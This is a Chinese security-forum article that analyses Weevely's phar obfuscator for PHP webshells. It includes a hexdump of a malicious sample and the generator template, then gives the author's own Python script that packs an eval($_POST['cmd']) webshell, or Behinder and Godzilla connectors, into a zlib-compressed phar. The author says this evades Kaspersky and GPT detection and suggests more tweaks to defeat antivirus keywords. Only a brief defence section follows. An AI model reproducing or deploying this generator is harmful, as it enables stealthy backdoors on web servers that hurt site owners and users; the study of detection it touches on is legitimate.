问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
实战Weevely管理工具免杀马研究即生成另类免杀马
渗透测试
生成另类免杀马
Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely免杀马原理。 一、背景 ---- 前几天,同事突然给了我一个php木马让我看看,攻击者使用的是phar文件,但是该phar文件可以执行被当作php文件来执行,且里面写了执行代码(使用了zlib压缩)。最重要的是,上传到微步报 正常文件。 只有卡巴斯基报了毒  具体文件内容如下 ```php ┌──(root㉿kali)-[~/Desktop] └─# xxd 123.phar 00000000: 3c3f 7068 7020 696e 636c 7564 6520 225c <?php include "\ 00000010: 3136 305c 7836 385c 3134 315c 7837 325c 160\x68\141\x72\ 00000020: 3732 5c35 375c 3537 222e 6261 7365 6e61 72\57\57".basena 00000030: 6d65 285f 5f46 494c 455f 5f29 2e22 5c35 me(__FILE__)."\5 00000040: 375c 7837 3822 3b5f 5f48 414c 545f 434f 7\x78";__HALT_CO 00000050: 4d50 494c 4552 2829 3b20 3f3e 2f00 0000 MPILER(); ?>/... 00000060: 0100 0000 1100 0010 0100 0000 0000 0000 ................ 00000070: 0000 0100 0000 78e1 0100 0000 0000 0057 ......x........W 00000080: 0100 0014 45f6 4bff 1100 0000 0000 0055 ....E.K........U 00000090: 9051 4bc3 3014 85df fb2b 4ab8 cc84 0eb7 .QK.0....+J..... 000000a0: ea98 cc2c 5804 9f7c 515f c72c 6d77 b365 ...,X..|Q_.,mw.e 000000b0: 6b93 9266 2a1b fbef de56 1424 1038 dfe5 k..f*....V.$.8.. 000000c0: 9ccb b9cb 8776 d7c6 f851 d4fc 0a0e 8aa5 .....v...Q...... 000000d0: 8b79 39d5 e98c 4938 ec14 c3b2 98cf 319d .y9...I8......1. 000000e0: eab2 b8eb 9156 6cb6 29f5 0217 8bea e646 .....Vl.)......F 000000f0: 136a 150b af27 bcd5 cdf3 e793 7e7c 79db .j...'......~|y. 00000100: 9d98 8c22 7db4 5530 cec6 5f1c c218 0ee2 ..."}.U0.._..... 00000110: 1c41 a5ba e06b b49c a484 fa4f 0552 4e31 .A...k.....O.RN1 00000120: b269 e739 1835 9560 9650 4b32 0d64 4f84 .i.9.5.`.PK2.dO. 00000130: fe25 54a3 d130 21c3 3e49 c660 9244 4494 .%T..0!.>I.`.DD. 00000140: ecae 1584 1598 f53b 1c56 b05f cbe8 42cf .......;.V._..B. 00000150: 6338 7a1b 83eb a5d1 31cf 5a8f dbbc 2942 c8z.....1.Z...)B 00000160: b5e3 6c42 05f9 7522 a8d4 848d 336d 6acc ..lB..u"....3mj. 00000170: b718 f2ca d980 3674 9cd1 65ee 2713 63db ......6t..e.'.c. 00000180: 6360 620c 8d50 2a15 f139 ca5c 9977 a1f0 c`b..P*..9.\.w.. 00000190: 810b 1965 c3ed b2ed 890a bb86 1674 1dcf ...e.........t.. 000001a0: be78 5616 1dce 67f9 062b b741 0ecd 2a5d .xV...g..+.A..*] 000001b0: 8bfe 0e82 3cd4 b6cf f8b7 ad8f 2286 7693 ....<.......".v. 000001c0: 5735 16b6 07e0 d56f 0eda 21a7 4fde 9efe W5.....o..!.O... 000001d0: 1681 fbc9 9451 eb8d 0d9c 414b adc0 5327 .....Q....AK..S' 000001e0: 46f0 7225 e437 8bdc 22b1 ccc2 9a87 45f4 F.r%.7..".....E. 000001f0: fcf3 0217 b585 36a4 9120 0200 0000 4742 ......6.. ....GB 00000200: 4d42 MB ┌──(root㉿kali)-[~/Desktop] └─# cat 123.phar <?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>/x�WE�K�U�QK�0���+J�����,X�|Q_�,mw�ek��f*��V$8���˹ˇv���Q�� ���y9���I8�ò��1�겸��Vl�)����Fj dO��%T��0!�>I�`�DD������;V�_��B�c8z���1�Z�ۼ)B��lB�u"�Ԅ�3mj▒��ـ6t��e�'c�c`b�`�PK2 �P*�9�\�w��� e����� �AK��S'F�r%�7��"���E�����6�� GBMB ``` 二、客户端生成源码分析 ----------- ### 默认混淆器 在weevely源码中,bd目录里面有agent目录和obfuscators目录。其中 agent 目录为webshell来 代码执行的php代码。obfuscators目录为来混淆 代码执行 的代码。其中 myobfusc.tpl 是我自己写的。  且在利用工具生成木马时,可以选择 agents 和 obfuscators。 weevely generate -agent obfpost\_php -obfuscator obfusc1\_php "An0ma1" ./An0ma1.php  其中 cleartext1\_php 是无混淆模式,即直接输出 代码执行 的连接代码  obfusc1\_php混淆器 做了混淆,但混淆力度不够,有特征值,会轻易被杀。具体可以参考这篇文章 [实战Webshell管理工具Weevely检测思路分析 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/network/385268.html) 重点要分析的是 phar 混淆器。微步云沙箱报正常文件 混淆器源码如下,agent 为传入的变量,值为 代码执行 的连接代码,即obfpost\_php里面的值 ```php <%! import io import zlib import base64 import hashlib from datetime import datetime %><% clean_agent = agent.strip(b'\n') stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>""" fname = b'x' f = b'<?php eval(\''+clean_agent+b'\');' fenc = zlib.compress(f)[2:-4] flags = 0x00011000 output = io.BytesIO() output.write(stub) # Manifest manifest_len_cursor = output.tell() output.write(b'\0\0\0\0') # Placeholder for manifest length output.write((1).to_bytes(4, 'little')) output.write(b'\x11\x00') # Phar version output.write((flags).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # Alias output.write((0).to_bytes(4, 'little')) # Metadata # Entry manifest output.write(len(fname).to_bytes(4, 'little')) output.write(fname) output.write(len(f).to_bytes(4, 'little')) output.write(int(0).to_bytes(4, 'little')) # Timestamp output.write(len(fenc).to_bytes(4, 'little')) output.write(zlib.crc32(f).to_bytes(4, 'little')) output.write((0o777 | 0x00001000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # Fix manifest length manifest_len = output.tell() - manifest_len_cursor - 4 s, t = manifest_len_cursor, manifest_len_cursor + 4 output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little') # Content output.write(fenc) output.write(hashlib.sha1(output.getvalue()).digest()) output.write((0x0002).to_bytes(4, 'little')) output.write(b'GBMB') %>b64:${base64.b64encode(output.getvalue()).decode('utf-8')} ``` 下面会 phar 文件格式 进行详细解释 ### phar 文件格式 PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。 先看一个简单例子 ```php <?php class TestObject{ } $phar = new Phar("phar.phar"); //生成时,后缀名必须为phar $phar->startBuffering(); //开启缓存 $phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //设置元数据 $phar->addFromString("An0ma1.txt","An0ma1"); // 添加数据存储 $phar->stopBuffering(); // 结束后会自动签名 ?> ``` phar 文件格式分四部分 **Stub部分** 首先,生成一个phar时,一定要有stub,且 stub 一定要以 `__HALT_COMPILER(); ?>` 结尾,注意:封号后门必须有一个空格,这里主要是 通过`__HALT_COMPILER(); ?>`标记PHAR文件元数据开始部分 **Manifest元数据** 二进制数据,小端序 | | | | | | |---|---|---|---|---| | **偏移量** | **长度** | **字段** | **示例值** | **说明** | | 0x00 | 4 | Manifest长度 | 0x3C000000 | 总长度 | | 0x04 | 4 | 文件数量 | 0x01000000 | 包含1个文件 | | 0x08 | 2 | API版本 | 0x0011 | PHAR 1.1.0 | | 0x0A | 4 | 全局标志 | 0x00100001 | 压缩+SHA1签名 | | 0x0E | 4 | 别名长度 | 0x00000000 | 无别名 | | 0x12 | 4 | 元数据类型 | 0x00000000 | 无序列化metadata | **数据存储** | | | | | | |---|---|---|---|---| | **偏移量** | **长度** | **字段** | **示例值** | **说明** | | 0x00 | 4 | 文件名长度 | `0x01000000` | 文件名长度1字节(示例文件名为`x`<br><br>) | | 0x04 | 实际长度 | 文件名内容 | 0x78 | ASCII字符 x | | 0x05 | 4 | 原始大小 | `0x14000000` | 未压缩文件内容长度 | | 0x09 | 4 | Unix时间戳 | `0x00000000` | 时间戳置零 | | 0x0D | 4 | 压缩后大小 | `0x0F000000` | 压缩后文件内容长度 | | 0x11 | 4 | CRC32校验值 | `0x78563412` | 校验和计算值(示例`0x12345678`<br><br>的小端序表示) | | 0x15 | 4 | 权限+压缩标志 | `0xFF110000` | `0o777`<br><br>权限(0x1FF)与`0x1000`<br><br>压缩标志组合(实际值`0x11FF`<br><br>小端序) | | 0x19 | 4 | 元数据长度 | `0x00000000` | 无附加元数据 | **签名部分** | | | | | | |---|---|---|---|---| | **偏移量** | **长度** | **字段** | **示例值** | **说明** | | 0x00 | 20 | SHA1哈希值 | ..... | 总长度20字节 | | 0x20 | 4 | 签名类型 | 0x02000000 | SHA1签名类型 | | 0x24 | 4 | 魔术签名 | GBMB | GBMB | 三、对免杀马进行分析 ---------- 对上面免杀马的模板继续 依次分析 ```php clean_agent = agent.strip(b'\n') stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>""" fname = b'x' f = b'<?php eval(\''+clean_agent+b'\');' fenc = zlib.compress(f)[2:-4] flags = 0x00011000 output = io.BytesIO() output.write(stub) ``` - 首先,写入 Stub 部分。 - phar要保存的文件名为x。 - 将要混淆的 代码执行 的连接代码 使用 eavl 包裹。 - 对文件内容进行 zlib 压缩,去除 zlib头尾。 - flags 是个标识位,后面再说 ```php # Manifest manifest_len_cursor = output.tell() output.write(b'\0\0\0\0') # Placeholder for manifest length output.write((1).to_bytes(4, 'little')) output.write(b'\x11\x00') # Phar version output.write((flags).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # Alias output.write((0).to_bytes(4, 'little')) # Metadata ``` - 先填入4字节的元数据总长度占位,后面填写完再计算总长度,修改该位置 - 4字节的 文件数量,由于只包含一个 x ,即文件数量为1 - 2字节 的 phar 文件版本标识 - 4字节的标识位,该值固定,可当特征 0x00011000 ,表示进行压缩和SHA1签名 - 4字节的别名长度,这里为0 - 4字节的 元数据类型 ,无序列化的metadata,这里为0。(让我想起了 ctf 里面 phar序列化) ```php # Entry manifest output.write(len(fname).to_bytes(4, 'little')) output.write(fname) output.write(len(f).to_bytes(4, 'little')) output.write(int(0).to_bytes(4, 'little')) # Timestamp output.write(len(fenc).to_bytes(4, 'little')) output.write(zlib.crc32(f).to_bytes(4, 'little')) output.write((0o777 | 0x00001000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # Fix manifest length manifest_len = output.tell() - manifest_len_cursor - 4 s, t = manifest_len_cursor, manifest_len_cursor + 4 output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little') # Content output.write(fenc) ``` - 4字节的文件名长度 - 接着写入文件名,这里文件名为 x ,即写入1字节 0x78 - 4字节的未压缩文件内容长度 - 4字节的时间戳 - 4字节的压缩后文件内容长度 - 4字节的crc32校验,对未压缩的文件内容进行crc32校验 - 4字节的文件权限 权限+压缩标志。0x00001000 表示使用 zlib 压缩。0o777 | 0x00001000的值为 \\xff\\x11\\x00\\x00,可以当作特征 - 4字节文件元数据长度,这里为0 - 之后代码就是计算写入的元数据部分和文件存储部分总长度,然后修改之前元数据长度 - 接着写入zlib压缩之后的文件内容 ```php output.write(hashlib.sha1(output.getvalue()).digest()) output.write((0x0002).to_bytes(4, 'little')) output.write(b'GBMB') %>b64:${base64.b64encode(output.getvalue()).decode('utf-8')} ``` - 之后就是20字节的 对已经写入内容的sha1签名信息。 - 0x0002 表示签名类型,这里为 sha1。 - GBMB为魔术签名,格式固定。 这里肯定有人好奇,既然写入x文件的内容是 zlib压缩的,那为什么直接 `include basename(__FILE__)\x`。没有 对 文件内容的解码部分? 是这样的,这是 phar文件的**自动解压机制解析** 。PHAR文件的自动解压依赖于文件条目中的**压缩标志位** ,即代码中 `output.write((0o777 | 0x00001000).to_bytes(4, 'little')) # 权限+压缩标志` 这段。 其中 `0x00001000` 对应 `PharEntry::COMPRESSED`,激活自动解压。 四、自写免杀马 ------- 上面混淆代码本质 是 在 phar 文件里面嵌入一段其它的php代码。那么这段代码可不可以是 冰蝎,哥斯拉,蚁剑的连接代码?说白了,这就像是一个壳。使用python进行整理,脚本如下 code 变量里面可以切换为 冰蝎,哥斯拉,蚁剑的连接代码 测试该格式的木马 适用版本 PHP 5.3+ ```php import io import zlib import base64 import hashlib import argparse def generate_phar(agent_code: bytes) -> bytes: # 清理输入代码 clean_agent = agent_code.strip(b'\n') # 1. 构造Phar存根(路径混淆) stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>""" # 2. 构造内部恶意代码 fname = b'x' f = clean_agent # 3. 压缩内容(绕过基础检测) fenc = zlib.compress(f)[2:-4] # 移除zlib头尾 # 4. 初始化二进制流 output = io.BytesIO() output.write(stub) # 5. 写入Manifest占位符 manifest_len_cursor = output.tell() output.write(b'\0\0\0\0') # 6. 构建Manifest结构 output.write((1).to_bytes(4, 'little')) output.write(b'\x11\x00') output.write((0x00011000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # 7. 写入文件条目 output.write(len(fname).to_bytes(4, 'little')) output.write(fname) output.write(len(f).to_bytes(4, 'little')) output.write(int(0).to_bytes(4, 'little')) output.write(len(fenc).to_bytes(4, 'little')) output.write(zlib.crc32(f).to_bytes(4, 'little')) output.write((0o777 | 0x00001000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # 8. 修正Manifest长度 manifest_len = output.tell() - manifest_len_cursor - 4 output.seek(manifest_len_cursor) output.write(manifest_len.to_bytes(4, 'little')) # 9. 追加压缩内容 output.seek(0, io.SEEK_END) output.write(fenc) # 10. 计算签名 full_content = output.getvalue() output.write(hashlib.sha1(full_content).digest()) output.write((0x0002).to_bytes(4, 'little')) output.write(b'GBMB') return base64.b64encode(output.getvalue()) if __name__ == "__main__": code="<?php @eval($_POST['cmd']);?>" # 生成并输出Base64结果 b64_phar = generate_phar(code.encode('utf-8')) print(f"b64:{b64_phar.decode('utf-8')}") with open("123.php","wb") as f: f.write(base64.b64decode(b64_phar)) print("Done!") ``` 冰蝎测试成功  哥斯拉测试成功  为什么卡巴斯基会查杀,个人测试其可能使用了**熵值检测** 或关键词 `include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>`。我生成php文件内容如下  可以正常执行命令  但是卡巴斯基不杀了。且GPT也没有发现这是一个木马文件  ### 一些思考 对免杀马的进一步魔改,首先 `__HALT_COMPILER(); ?>` 之前代码可以随便写。 其次,上面使用的是 0o777 | 0x00001000。即 zlib 加密方式,是不是可以改成 0x00002000 Bzip2压缩 , 0x0000F000 压缩算法掩码 等其它格式。0o777是不是权限太大了,改成 0o750。 签名部分是不是可以改成 0x0001 md5签名。 0x0004 OpenSSL签名 。 文件名是不是可以修改。 二进制一些字段。 别名长度 元数据类型 API版本 Unix时间戳,全局标识 是不是可以修改。 这些修改之后可以进一步 过掉 杀软的关键词查杀。(当然,现在还没有) 五、防御 ---- 1. 禁用Phar扩展 ```php ; php.ini配置 phar.readonly = On allow_url_include = Off ``` 1. 杀软对web文件,php,phar,phtml,pht等内容进行熵值检测 2. 查杀关键字 `GMBN``\xff\x11\x00\x00``basename(__FILE__)` 条件同时存在
发表于 2025-05-27 09:47:22
阅读 ( 529 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
An0ma1
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!